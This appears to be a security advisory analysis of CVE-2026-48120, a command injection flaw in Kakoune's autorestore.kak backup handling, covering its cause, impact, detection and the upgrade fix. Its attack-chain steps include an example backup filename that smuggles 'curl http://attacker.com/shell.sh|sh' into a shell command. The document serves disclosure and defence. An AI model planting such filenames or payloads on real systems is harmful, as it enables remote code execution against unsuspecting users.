CVE-2026-48120: 
Linux Debian Analyse et atténuation des vulnérabilités

CVE-2026-48120 is a command injection vulnerability in the Kakoune code editor's bundled autorestore.kak script, enabling arbitrary Kakoune and shell command execution via malicious backup files. It affects all Kakoune versions prior to 2026.05.21 and was disclosed on August 7, 2026, with a fix released in version 2026.05.21. The vulnerability carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, Feedly).

The root cause is improper neutralization of special elements in output used by a downstream component (CWE-74), specifically insufficient escaping and validation of backup filenames within the autorestore.kak script. When Kakoune opens a file, the autorestore feature searches for backup files matching a naming pattern; because filenames were not properly escaped before being passed to shell commands, a specially crafted backup filename containing shell metacharacters (e.g., semicolons, quotes) could inject arbitrary commands. The fix in commit 25c7b13 addresses this by ensuring filenames are properly escaped when echoed and by validating that backup file suffixes contain only POSIX portable characters ([A-Za-z0-9_.-]) using pathchk -p (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary shell and Kakoune commands in the context of the victim user simply by having them open a file in Kakoune. The impact spans high confidentiality, integrity, and availability — an attacker could read sensitive files, modify data, install persistence mechanisms, or disrupt the user's environment. Because the scope is marked as Changed in the CVSS vector, the impact can extend beyond the Kakoune process itself to the broader user session and system (GitHub Advisory).

No public proof-of-concept exploit or evidence of in-the-wild exploitation has been reported as of the disclosure date (Feedly). The vulnerability requires local access to place a malicious backup file in a directory the victim will open with Kakoune, and user interaction (opening a file) is required. The EPSS score is approximately 0.137%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Credited reporters are a-tt-om and teebow1e (GitHub Advisory).

1. Reconnaissance: Identify a target system where Kakoune (version < 2026.05.21) is installed with the default autorestore.kak feature enabled, and where the attacker has write access to a directory the victim user is likely to open files from.
2. Craft malicious backup file: Create a file in the target directory with a name matching Kakoune's backup naming convention (.{original_filename}.kak.{suffix}) where the suffix contains shell metacharacters, e.g., .targetfile.kak.;curl http://attacker.com/shell.sh|sh;AABBCC.
3. Wait for victim interaction: The victim opens any file in the same directory using Kakoune. The autorestore-restore-buffer command is triggered automatically on buffer open.
4. Command injection triggered: The autorestore.kak script discovers the malicious backup file and passes its unescaped filename into a shell command, causing the injected payload (e.g., curl http://attacker.com/shell.sh|sh) to execute in the victim's shell context.
5. Achieve objective: The attacker's payload runs with the victim's privileges, enabling data exfiltration, persistence installation, or further lateral movement (GitHub Advisory, Fix Commit).

• File System: Presence of files in working directories matching the pattern .<filename>.kak.<suffix> where the suffix contains non-alphanumeric characters (e.g., semicolons, quotes, backticks, $, |) — these are anomalous backup filenames inconsistent with legitimate Kakoune backups.
• Process: Unexpected child processes spawned from the Kakoune process (e.g., curl, wget, bash, sh, python) shortly after a file is opened in Kakoune.
• Logs: Shell history or audit logs showing command execution originating from within a Kakoune session that does not match user-initiated commands; auditd records of execve calls from the Kakoune process with suspicious arguments.

Upgrade Kakoune to version 2026.05.21 or later, which fixes the escaping issues in autorestore.kak (commit 25c7b13) (GitHub Advisory, Fix Commit). As an immediate workaround for users unable to upgrade, add autorestore-disable to the user's kakrc file to disable the autorestore feature entirely. Additionally, restrict write access to directories where Kakoune is used to limit an attacker's ability to plant malicious backup files.

The vulnerability was covered by The Hacker Wire, which reported on the arbitrary command execution risk via malicious backup files in Kakoune (The Hacker Wire). No significant vendor statements beyond the GitHub security advisory or notable broader community discussion have been identified at this time.